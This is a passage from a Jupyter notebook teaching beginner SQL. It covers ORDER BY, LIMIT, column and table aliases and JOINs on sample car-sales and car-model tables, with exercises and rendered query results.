</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " NULL\n", "0 " ] }, "execution_count": 19, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT NULL\n", " ''')\n", "#print(where_cheat3)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "__________________________\n", "__________\n", "__________________________\n", "__________\n", "__________________________\n", "\n", "# ORDER BY\n", " SELECT \n", " column_a\n", " FROM\n", " table_name\n", " WHERE # optional \n", " column_a = x\n", " ORDER BY # sorts the result-set by column_a\n", " column_a DESC # DESC is optional. It sorts results in descending order (100->1) instead of ascending (1->100)\n", "\n", "- Without an ORDER BY clause, the default result-set will be ordered by however it appears in the database \n", "- By default, ORDER BY will sort values in ascending order (A→Z, 1→100). Add DESC to order results in desceding order instead (Z→A, 100→1)\n", "- More on ORDER BY: http://www.w3schools.com/sql/sql_orderby.asp\n", "\n", "The query below orders the result-set by revenue amount, starting with the smallest amount listed first:" ] }, { "cell_type": "code", "execution_count": 20, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>id</th>\n", " <th>model_id</th>\n", " <th>customer_id</th>\n", " <th>revenue</th>\n", " <th>payment_type</th>\n", " <th>salesman_id</th>\n", " <th>date</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> 56245</td>\n", " <td> 36</td>\n", " <td> 248621</td>\n", " <td> 25938</td>\n", " <td> cash</td>\n", " <td> 492</td>\n", " <td> 1/19/2014</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> 37050</td>\n", " <td> 36</td>\n", " <td> 513614</td>\n", " <td> 25937</td>\n", " <td> cash</td>\n", " <td> 492</td>\n", " <td> 1/2/2014</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> 13004</td>\n", " <td> 36</td>\n", " <td> 488910</td>\n", " <td> 24890</td>\n", " <td> finance</td>\n", " <td> 813</td>\n", " <td> 1/12/2014</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> 53831</td>\n", " <td> 75</td>\n", " <td> 656181</td>\n", " <td> 24646</td>\n", " <td> finance</td>\n", " <td> 803</td>\n", " <td> 1/18/2014</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> 91723</td>\n", " <td> 36</td>\n", " <td> 490244</td>\n", " <td> 24628</td>\n", " <td> cash</td>\n", " <td> 225</td>\n", " <td> 1/9/2014</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " id model_id customer_id revenue payment_type salesman_id date\n", "0 56245 36 248621 25938 cash 492 1/19/2014\n", "1 37050 36 513614 25937 cash 492 1/2/2014\n", "2 13004 36 488910 24890 finance 813 1/12/2014\n", "3 53831 75 656181 24646 finance 803 1/18/2014\n", "4 91723 36 490244 24628 cash 225 1/9/2014" ] }, "execution_count": 20, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " *\n", " FROM\n", " sales_table\n", " ORDER BY\n", " revenue DESC\n", " LIMIT 5\n", " ''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "#### Rewrite the query above to look at the sticker_price of cars from the car_table in descending order:" ] }, { "cell_type": "code", "execution_count": 21, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>NULL</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> </td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " NULL\n", "0 " ] }, "execution_count": 21, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT NULL\n", " ''')\n", "#print(order_cheat)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "_________________\n", "_________\n", "_________\n", "_________\n", "__________\n", "#LIMIT\n", " SELECT\n", " column_a\n", " FROM\n", " table_name\n", " WHERE\n", " columna_a = x # optional\n", " ORDER BY\n", " column_a # optional\n", " LIMIT # Limits the result-set to N rows\n", " N \n", "- LIMIT just limits the number of rows in your result set\n", "- More on LIMIT: http://www.w3schools.com/sql/sql_top.asp \n", "- The ability to limit results varies by RBDSM. Below you can see the different ways to do this:" ] }, { "cell_type": "code", "execution_count": 22, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>Microsoft SQL Server</th>\n", " <th>MySQL</th>\n", " <th>Oracle</th>\n", " <th>SQLite</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>LIMITING</th>\n", " <td> SELECT TOP N column_a...</td>\n", " <td> LIMIT N</td>\n", " <td> WHERE ROWNUM &lt;=N</td>\n", " <td> LIMIT N</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " Microsoft SQL Server MySQL Oracle SQLite\n", "LIMITING SELECT TOP N column_a... LIMIT N WHERE ROWNUM <=N LIMIT N" ] }, "execution_count": 22, "metadata": {}, "output_type": "execute_result" } ], "source": [ "limit_differences" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "** The query below limits the number of rows to 5 results. Change it to 10 to get a quick sense of what we're doing here:**" ] }, { "cell_type": "code", "execution_count": 23, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>id</th>\n", " <th>model_id</th>\n", " <th>customer_id</th>\n", " <th>revenue</th>\n", " <th>payment_type</th>\n", " <th>salesman_id</th>\n", " <th>date</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> 54858</td>\n", " <td> 36</td>\n", " <td> 237906</td>\n", " <td> 21222</td>\n", " <td> finance</td>\n", " <td> 276</td>\n", " <td> 1/7/2014</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> 43161</td>\n", " <td> 20</td>\n", " <td> 967016</td>\n", " <td> 19140</td>\n", " <td> finance</td>\n", " <td> 225</td>\n", " <td> 1/26/2014</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> 40112</td>\n", " <td> 46</td>\n", " <td> 819010</td>\n", " <td> 14720</td>\n", " <td> cash</td>\n", " <td> 147</td>\n", " <td> 1/17/2014</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> 92495</td>\n", " <td> 31</td>\n", " <td> 633030</td>\n", " <td> 19010</td>\n", " <td> finance</td>\n", " <td> 215</td>\n", " <td> 1/13/2014</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> 78000</td>\n", " <td> 51</td>\n", " <td> 341877</td>\n", " <td> 22022</td>\n", " <td> finance</td>\n", " <td> 803</td>\n", " <td> 1/12/2014</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " id model_id customer_id revenue payment_type salesman_id date\n", "0 54858 36 237906 21222 finance 276 1/7/2014\n", "1 43161 20 967016 19140 finance 225 1/26/2014\n", "2 40112 46 819010 14720 cash 147 1/17/2014\n", "3 92495 31 633030 19010 finance 215 1/13/2014\n", "4 78000 51 341877 22022 finance 803 1/12/2014" ] }, "execution_count": 23, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " *\n", " FROM\n", " sales_table\n", " LIMIT 5\n", " ''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "_________\n", "__________\n", "_________\n", "__________\n", "__________\n", "#ALIASES\n", "\n", " SELECT\n", " T.column_a AS alias_a # creates a nickname for column_a, and states that it's from table_name (whose alias is T)\n", " FROM\n", " table_name AS T # creates a nickname for table_name\n", " WHERE\n", " alias_a = z # refer to an alias in the WHERE clause\n", " ORDER BY\n", " alias_a # refer to an alias in the ORDER BY clause\n", "\n", "- Aliases are optional, but save you time and make column headers cleaner\n", "- AS isn't necessary to create and alias, but commonly used \n", "- The convention is to use \"AS\" in the \"SELECT\" clause, but not in the \"FROM\" clause.\n", "- More on Aliases: http://www.w3schools.com/sql/sql_alias.asp\n", "\n", "**Change the aiases for model_id and revenue, or add extra columns to see how they work:**" ] }, { "cell_type": "code", "execution_count": 24, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>Model_of_car</th>\n", " <th>Rev_per_car</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0 </th>\n", " <td> 36</td>\n", " <td> 21222</td>\n", " </tr>\n", " <tr>\n", " <th>1 </th>\n", " <td> 20</td>\n", " <td> 19140</td>\n", " </tr>\n", " <tr>\n", " <th>2 </th>\n", " <td> 46</td>\n", " <td> 14720</td>\n", " </tr>\n", " <tr>\n", " <th>3 </th>\n", " <td> 31</td>\n", " <td> 19010</td>\n", " </tr>\n", " <tr>\n", " <th>4 </th>\n", " <td> 51</td>\n", " <td> 22022</td>\n", " </tr>\n", " <tr>\n", " <th>5 </th>\n", " <td> 75</td>\n", " <td> 21409</td>\n", " </tr>\n", " <tr>\n", " <th>6 </th>\n", " <td> 31</td>\n", " <td> 19894</td>\n", " </tr>\n", " <tr>\n", " <th>7 </th>\n", " <td> 46</td>\n", " <td> 12960</td>\n", " </tr>\n", " <tr>\n", " <th>8 </th>\n", " <td> 36</td>\n", " <td> 25938</td>\n", " </tr>\n", " <tr>\n", " <th>9 </th>\n", " <td> 51</td>\n", " <td> 19844</td>\n", " </tr>\n", " <tr>\n", " <th>10</th>\n", " <td> 31</td>\n", " <td> 21441</td>\n", " </tr>\n", " <tr>\n", " <th>11</th>\n", " <td> 31</td>\n", " <td> 17462</td>\n", " </tr>\n", " <tr>\n", " <th>12</th>\n", " <td> 31</td>\n", " <td> 17020</td>\n", " </tr>\n", " <tr>\n", " <th>13</th>\n", " <td> 20</td>\n", " <td> 18040</td>\n", " </tr>\n", " <tr>\n", " <th>14</th>\n", " <td> 75</td>\n", " <td> 18671</td>\n", " </tr>\n", " <tr>\n", " <th>15</th>\n", " <td> 51</td>\n", " <td> 22506</td>\n", " </tr>\n", " <tr>\n", " <th>16</th>\n", " <td> 20</td>\n", " <td> 20460</td>\n", " </tr>\n", " <tr>\n", " <th>17</th>\n", " <td> 46</td>\n", " <td> 13440</td>\n", " </tr>\n", " <tr>\n", " <th>18</th>\n", " <td> 51</td>\n", " <td> 18634</td>\n", " </tr>\n", " <tr>\n", " <th>19</th>\n", " <td> 22</td>\n", " <td> 17312</td>\n", " </tr>\n", " <tr>\n", " <th>20</th>\n", " <td> 36</td>\n", " <td> 23318</td>\n", " </tr>\n", " <tr>\n", " <th>21</th>\n", " <td> 20</td>\n", " <td> 21780</td>\n", " </tr>\n", " <tr>\n", " <th>22</th>\n", " <td> 75</td>\n", " <td> 19418</td>\n", " </tr>\n", " <tr>\n", " <th>23</th>\n", " <td> 22</td>\n", " <td> 17756</td>\n", " </tr>\n", " <tr>\n", " <th>24</th>\n", " <td> 31</td>\n", " <td> 21441</td>\n", " </tr>\n", " <tr>\n", " <th>25</th>\n", " <td> 31</td>\n", " <td> 17905</td>\n", " </tr>\n", " <tr>\n", " <th>26</th>\n", " <td> 20</td>\n", " <td> 16720</td>\n", " </tr>\n", " <tr>\n", " <th>27</th>\n", " <td> 31</td>\n", " <td> 20778</td>\n", " </tr>\n", " <tr>\n", " <th>28</th>\n", " <td> 75</td>\n", " <td> 19667</td>\n", " </tr>\n", " <tr>\n", " <th>29</th>\n", " <td> 20</td>\n", " <td> 19360</td>\n", " </tr>\n", " <tr>\n", " <th>...</th>\n", " <td>...</td>\n", " <td>...</td>\n", " </tr>\n", " <tr>\n", " <th>70</th>\n", " <td> 36</td>\n", " <td> 20174</td>\n", " </tr>\n", " <tr>\n", " <th>71</th>\n", " <td> 20</td>\n", " <td> 18480</td>\n", " </tr>\n", " <tr>\n", " <th>72</th>\n", " <td> 51</td>\n", " <td> 23474</td>\n", " </tr>\n", " <tr>\n", " <th>73</th>\n", " <td> 31</td>\n", " <td> 19231</td>\n", " </tr>\n", " <tr>\n", " <th>74</th>\n", " <td> 22</td>\n", " <td> 18865</td>\n", " </tr>\n", " <tr>\n", " <th>75</th>\n", " <td> 36</td>\n", " <td> 24104</td>\n", " </tr>\n", " <tr>\n", " <th>76</th>\n", " <td> 36</td>\n", " <td> 20436</td>\n", " </tr>\n", " <tr>\n", " <th>77</th>\n", " <td> 51</td>\n", " <td> 22990</td>\n", " </tr>\n", " <tr>\n", " <th>78</th>\n", " <td> 20</td>\n", " <td> 19580</td>\n", " </tr>\n", " <tr>\n", " <th>79</th>\n", " <td> 22</td>\n", " <td> 17756</td>\n", " </tr>\n", " <tr>\n", " <th>80</th>\n", " <td> 75</td>\n", " <td> 18920</td>\n", " </tr>\n", " <tr>\n", " <th>81</th>\n", " <td> 75</td>\n", " <td> 24646</td>\n", " </tr>\n", " <tr>\n", " <th>82</th>\n", " <td> 19</td>\n", " <td> 14006</td>\n", " </tr>\n", " <tr>\n", " <th>83</th>\n", " <td> 36</td>\n", " <td> 24890</td>\n", " </tr>\n", " <tr>\n", " <th>84</th>\n", " <td> 75</td>\n", " <td> 23401</td>\n", " </tr>\n", " <tr>\n", " <th>85</th>\n", " <td> 51</td>\n", " <td> 20328</td>\n", " </tr>\n", " <tr>\n", " <th>86</th>\n", " <td> 46</td>\n", " <td> 15200</td>\n", " </tr>\n", " <tr>\n", " <th>87</th>\n", " <td> 19</td>\n", " <td> 16189</td>\n", " </tr>\n", " <tr>\n", " <th>88</th>\n", " <td> 46</td>\n", " <td> 15040</td>\n", " </tr>\n", " <tr>\n", " <th>89</th>\n", " <td> 22</td>\n", " <td> 20197</td>\n", " </tr>\n", " <tr>\n", " <th>90</th>\n", " <td> 51</td>\n", " <td> 23232</td>\n", " </tr>\n", " <tr>\n", " <th>91</th>\n", " <td> 19</td>\n", " <td> 16734</td>\n", " </tr>\n", " <tr>\n", " <th>92</th>\n", " <td> 36</td>\n", " <td> 20960</td>\n", " </tr>\n", " <tr>\n", " <th>93</th>\n", " <td> 75</td>\n", " <td> 24148</td>\n", " </tr>\n", " <tr>\n", " <th>94</th>\n", " <td> 20</td>\n", " <td> 19140</td>\n", " </tr>\n", " <tr>\n", " <th>95</th>\n", " <td> 22</td>\n", " <td> 21751</td>\n", " </tr>\n", " <tr>\n", " <th>96</th>\n", " <td> 75</td>\n", " <td> 20413</td>\n", " </tr>\n", " <tr>\n", " <th>97</th>\n", " <td> 51</td>\n", " <td> 20328</td>\n", " </tr>\n", " <tr>\n", " <th>98</th>\n", " <td> 20</td>\n", " <td> 17600</td>\n", " </tr>\n", " <tr>\n", " <th>99</th>\n", " <td> 31</td>\n", " <td> 19894</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "<p>100 rows × 2 columns</p>\n", "</div>" ], "text/plain": [ " Model_of_car Rev_per_car\n", "0 36 21222\n", "1 20 19140\n", "2 46 14720\n", "3 31 19010\n", "4 51 22022\n", "5 75 21409\n", "6 31 19894\n", "7 46 12960\n", "8 36 25938\n", "9 51 19844\n", "10 31 21441\n", "11 31 17462\n", "12 31 17020\n", "13 20 18040\n", "14 75 18671\n", "15 51 22506\n", "16 20 20460\n", "17 46 13440\n", "18 51 18634\n", "19 22 17312\n", "20 36 23318\n", "21 20 21780\n", "22 75 19418\n", "23 22 17756\n", "24 31 21441\n", "25 31 17905\n", "26 20 16720\n", "27 31 20778\n", "28 75 19667\n", "29 20 19360\n", ".. ... ...\n", "70 36 20174\n", "71 20 18480\n", "72 51 23474\n", "73 31 19231\n", "74 22 18865\n", "75 36 24104\n", "76 36 20436\n", "77 51 22990\n", "78 20 19580\n", "79 22 17756\n", "80 75 18920\n", "81 75 24646\n", "82 19 14006\n", "83 36 24890\n", "84 75 23401\n", "85 51 20328\n", "86 46 15200\n", "87 19 16189\n", "88 46 15040\n", "89 22 20197\n", "90 51 23232\n", "91 19 16734\n", "92 36 20960\n", "93 75 24148\n", "94 20 19140\n", "95 22 21751\n", "96 75 20413\n", "97 51 20328\n", "98 20 17600\n", "99 31 19894\n", "\n", "[100 rows x 2 columns]" ] }, "execution_count": 24, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " model_id AS Model_of_car,\n", " revenue AS Rev_per_car\n", " FROM \n", " sales_table\n", " ''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**You can use an alias in the ORDER BY and WHERE clauses now. Write a query to:**\n", "- pull the model_id and revenue for each transaction\n", "- give model_id the alias \"Model\"\n", "- give revenue the alias \"Rev\"\n", "- limit the results to only include rows where the model_id id 36, use the alias in the WHERE clause\n", "- order the results by revenue in descending order, use the alias in the ORDER BY clause\n", "- Run the query\n", "\n", "**THEN:**\n", "- Try giving model_id the alias \"ID\" and use it in the WHERE clause, then rerun the query. What do you think is causing the error? " ] }, { "cell_type": "code", "execution_count": 25, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>NULL</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> </td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " NULL\n", "0 " ] }, "execution_count": 25, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT NULL\n", " ''') \n", "#print(alias_cheat)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "You can also assign an alias to a table, and use the alias to tell SQL which table the column is coming from. This isn't of much use when you're only using one table, but it will come in handy when you start using multiple tables.\n", "\n", "Below,the sales_table has the alias \"S\". Read \"S.model_id\" as \"the model_id column from S, which is the sales_table\"\n", "\n", "**Change the S to another letter in the FROM clause and run. Why did you hit an error? What can you do to fix it?**" ] }, { "cell_type": "code", "execution_count": 26, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>model_id</th>\n", " <th>revenue</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> 36</td>\n", " <td> 21222</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> 20</td>\n", " <td> 19140</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> 46</td>\n", " <td> 14720</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> 31</td>\n", " <td> 19010</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> 51</td>\n", " <td> 22022</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " model_id revenue\n", "0 36 21222\n", "1 20 19140\n", "2 46 14720\n", "3 31 19010\n", "4 51 22022" ] }, "execution_count": 26, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " S.model_id,\n", " S.revenue\n", " FROM \n", " sales_table AS S\n", " LIMIT 5\n", " ''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "_________\n", "__________\n", "_________\n", "_________\n", "________\n", "# JOINS\n", "\n", " SELECT\n", " *\n", " FROM\n", " table_x \n", " JOIN table_y # use JOIN to add the second table\n", " ON table_x.column_a = table_y.column_a # use ON to specify which columns correspond on each table\n", "\n", "- Joining tables is the most fundamental and useful part about relational databases\n", "- Use columns on different tables with corresponding values to join the two tables\n", "- The format \"table_x.column_a\" can be read as \"column_a from table_x\"; it tells SQL the table where it can find that column\n", "- More on JOINS: http://www.w3schools.com/sql/sql_join.asp\n", "\n", "Start by looking at the first few rows of sales_table again:" ] }, { "cell_type": "code", "execution_count": 27, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>id</th>\n", " <th>model_id</th>\n", " <th>customer_id</th>\n", " <th>revenue</th>\n", " <th>payment_type</th>\n", " <th>salesman_id</th>\n", " <th>date</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> 54858</td>\n", " <td> 36</td>\n", " <td> 237906</td>\n", " <td> 21222</td>\n", " <td> finance</td>\n", " <td> 276</td>\n", " <td> 1/7/2014</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> 43161</td>\n", " <td> 20</td>\n", " <td> 967016</td>\n", " <td> 19140</td>\n", " <td> finance</td>\n", " <td> 225</td>\n", " <td> 1/26/2014</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> 40112</td>\n", " <td> 46</td>\n", " <td> 819010</td>\n", " <td> 14720</td>\n", " <td> cash</td>\n", " <td> 147</td>\n", " <td> 1/17/2014</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> 92495</td>\n", " <td> 31</td>\n", " <td> 633030</td>\n", " <td> 19010</td>\n", " <td> finance</td>\n", " <td> 215</td>\n", " <td> 1/13/2014</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> 78000</td>\n", " <td> 51</td>\n", " <td> 341877</td>\n", " <td> 22022</td>\n", " <td> finance</td>\n", " <td> 803</td>\n", " <td> 1/12/2014</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " id model_id customer_id revenue payment_type salesman_id date\n", "0 54858 36 237906 21222 finance 276 1/7/2014\n", "1 43161 20 967016 19140 finance 225 1/26/2014\n", "2 40112 46 819010 14720 cash 147 1/17/2014\n", "3 92495 31 633030 19010 finance 215 1/13/2014\n", "4 78000 51 341877 22022 finance 803 1/12/2014" ] }, "execution_count": 27, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " *\n", " FROM\n", " sales_table\n", " LIMIT 5\n", " ''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Now the first few rows of the car_table:" ] }, { "cell_type": "code", "execution_count": 28, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>model_id</th>\n", " <th>make</th>\n", " <th>model</th>\n", " <th>sticker_price</th>\n", " <th>cogs</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> 20</td>\n", " <td> Toyota</td>\n", " <td> Camry</td>\n", " <td> 22000</td>\n", " <td> 13200</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> 46</td>\n", " <td> Toyota</td>\n", " <td> Corolla</td>\n", " <td> 16000</td>\n", " <td> 9600</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> 51</td>\n", " <td> Toyota</td>\n", " <td> Prius</td>\n", " <td> 24200</td>\n", " <td> 14520</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> 19</td>\n", " <td> Honda</td>\n", " <td> Civic</td>\n", " <td> 18190</td>\n", " <td> 10914</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> 31</td>\n", " <td> Honda</td>\n", " <td> Accord</td>\n", " <td> 22105</td>\n", " <td> 13263</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " model_id make model sticker_price cogs\n", "0 20 Toyota Camry 22000 13200\n", "1 46 Toyota Corolla 16000 9600\n", "2 51 Toyota Prius 24200 14520\n", "3 19 Honda Civic 18190 10914\n", "4 31 Honda Accord 22105 13263" ] }, "execution_count": 28, "metadata": {}, "output_type": "execute_result" } ], "source": [ "run('''\n", " SELECT\n", " *\n", " FROM\n", " car_table\n", " LIMIT 5\n", " ''')" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "These tables are related. There's a column named \"model_id\" in the sales_table and a \"model_id\" in the car_table - but the column *names* don't need to be the same, what's important is that the values in the sales_table's model_id column correspond to the values in the car_table's model_id column. \n", "\n", "You can join these tables by using these columns as keys. " ] }, { "cell_type": "code", "execution_count": 29, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div style=\"max-height:1000px;max-width:1500px;overflow:auto;\">\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th></th>\n", " <th>id</th>\n", " <th>model_id</th>\n", " <th>customer_id</th>\n", " <th>revenue</th>\n", " <th>payment_type</th>\n", " <th>salesman_id</th>\n", " <th>date</th>\n", " <th>model_id</th>\n", " <th>make</th>\n", " <th>model</th>\n", " <th>sticker_price</th>\n", " <th>cogs</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>0</th>\n", " <td> 54858</td>\n", " <td> 36</td>\n", " <td> 237906</td>\n", " <td> 21222</td>\n", " <td> finance</td>\n", " <td> 276</td>\n", " <td> 1/7/2014</td>\n", " <td> 36</td>\n", " <td> Toyota</td>\n", " <td> Tundra</td>\n", " <td> 26200</td>\n", " <td> 15720</td>\n", " </tr>\n", " <tr>\n", " <th>1</th>\n", " <td> 43161</td>\n", " <td> 20</td>\n", " <td> 967016</td>\n", " <td> 19140</td>\n", " <td> finance</td>\n", " <td> 225</td>\n", " <td> 1/26/2014</td>\n", " <td> 20</td>\n", " <td> Toyota</td>\n", " <td> Camry</td>\n", " <td> 22000</td>\n", " <td> 13200</td>\n", " </tr>\n", " <tr>\n", " <th>2</th>\n", " <td> 40112</td>\n", " <td> 46</td>\n", " <td> 819010</td>\n", " <td> 14720</td>\n", " <td> cash</td>\n", " <td> 147</td>\n", " <td> 1/17/2014</td>\n", " <td> 46</td>\n", " <td> Toyota</td>\n", " <td> Corolla</td>\n", " <td> 16000</td>\n", " <td> 9600</td>\n", " </tr>\n", " <tr>\n", " <th>3</th>\n", " <td> 92495</td>\n", " <td> 31</td>\n", " <td> 633030</td>\n", " <td> 19010</td>\n", " <td> finance</td>\n", " <td> 215</td>\n", " <td> 1/13/2014</td>\n", " <td> 31</td>\n", " <td> Honda</td>\n", " <td> Accord</td>\n", " <td> 22105</td>\n", " <td> 13263</td>\n", " </tr>\n", " <tr>\n", " <th>4</th>\n", " <td> 78000</td>\n", " <td> 51</td>\n", " <td> 341877</td>\n", " <td> 22022</td>\n", " <td> finance</td>\n", " <td> 803</td>\n", " <td> 1/12/2014</td>\n", " <td> 51</td>\n", " <td> Toyota</td>\n", " <td> Prius</td>\n", " <td> 24200</td>\n", " <td> 14520</td>\n", " </tr>\n", " <tr>\n", " <th>5</th>\n", " <td> 13154</td>\n", " <td> 75</td>\n", " <td> 720210</td>\n", " <td> 21409</td>\n", " <td> cash</td>\n", " <td> 215</td>\n", " <td> 1/20/2014</td>\n", " <td> 75</td>\n", " <td> Subaru</td>\n", " <td> Outback</td>\n", " <td> 24895</td>\n", " <td> 14937</td>\n", " </tr>\n", " <tr>\n", " <th>6</th>\n", " <td> 36535</td>\n", " <td> 31</td>\n", " <td> 908558</td>\n", " <td> 19894</td>\n", " <td> finance</td>\n", " <td> 215</td>\n", " <td> 1/30/2014</td>\n", " <td> 31</td>\n", " <td> Honda</td>\n", " <td> Accord</td>\n", " <td> 22105</td>\n", " <td> 13263</td>\n", " </tr>\n", " <tr>\n", " <th>7</th>\n", " <td> 22813</td>\n", " <td> 46</td>\n", " <td> 705508</td>\n", " <td> 12960</td>\n", " <td> finance</td>\n", " <td> 813</td>\n", " <td> 1/29/2014</td>\n", " <td> 46</td>\n", " <td> Toyota</td>\n", " <td> Corolla</td>\n", " <td> 16000</td>\n", " <td> 9600</td>\n", " </tr>\n", " <tr>\n", " <th>8</th>\n", " <td> 56245</td>\n", " <td> 36</td>\n", " <td> 248621</td>\n", " <td> 25938</td>\n", " <td> cash</td>\n", " <td> 492</td>\n", " <td> 1/19/2014</td>\n", " <td> 36</td>\n", " <td> Toyota</td>\n", " <td> Tundra</td>\n", " <td> 26200</td>\n", " <td> 15720</td>\n", " </tr>\n", " <tr>\n", " <th>9</th>\n", " <td> 88118</td>\n", " <td> 51</td>\n", " <td> 341344</td>\n", " <td> 19844</td>\n", " <td> finance</td>\n", " <td> 215</td>\n", " <td> 1/23/2014</td>\n", " <td> 51</td>\n", " <td> Toyota</td>\n", " <td> Prius</td>\n", " <td> 24200</td>\n", " <td> 14520</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ " id model_id customer_id revenue payment_type salesman_id \\\n", "0 54858 36 237906 21222 finance 276 \n", "1 43161 20 967016 19140 finance 225 \n", "2 40112 46 819010 14720 cash 147 \n", "3 92495 31 633030 19010 finance 215 \n", "4 78000 51 341877 22022 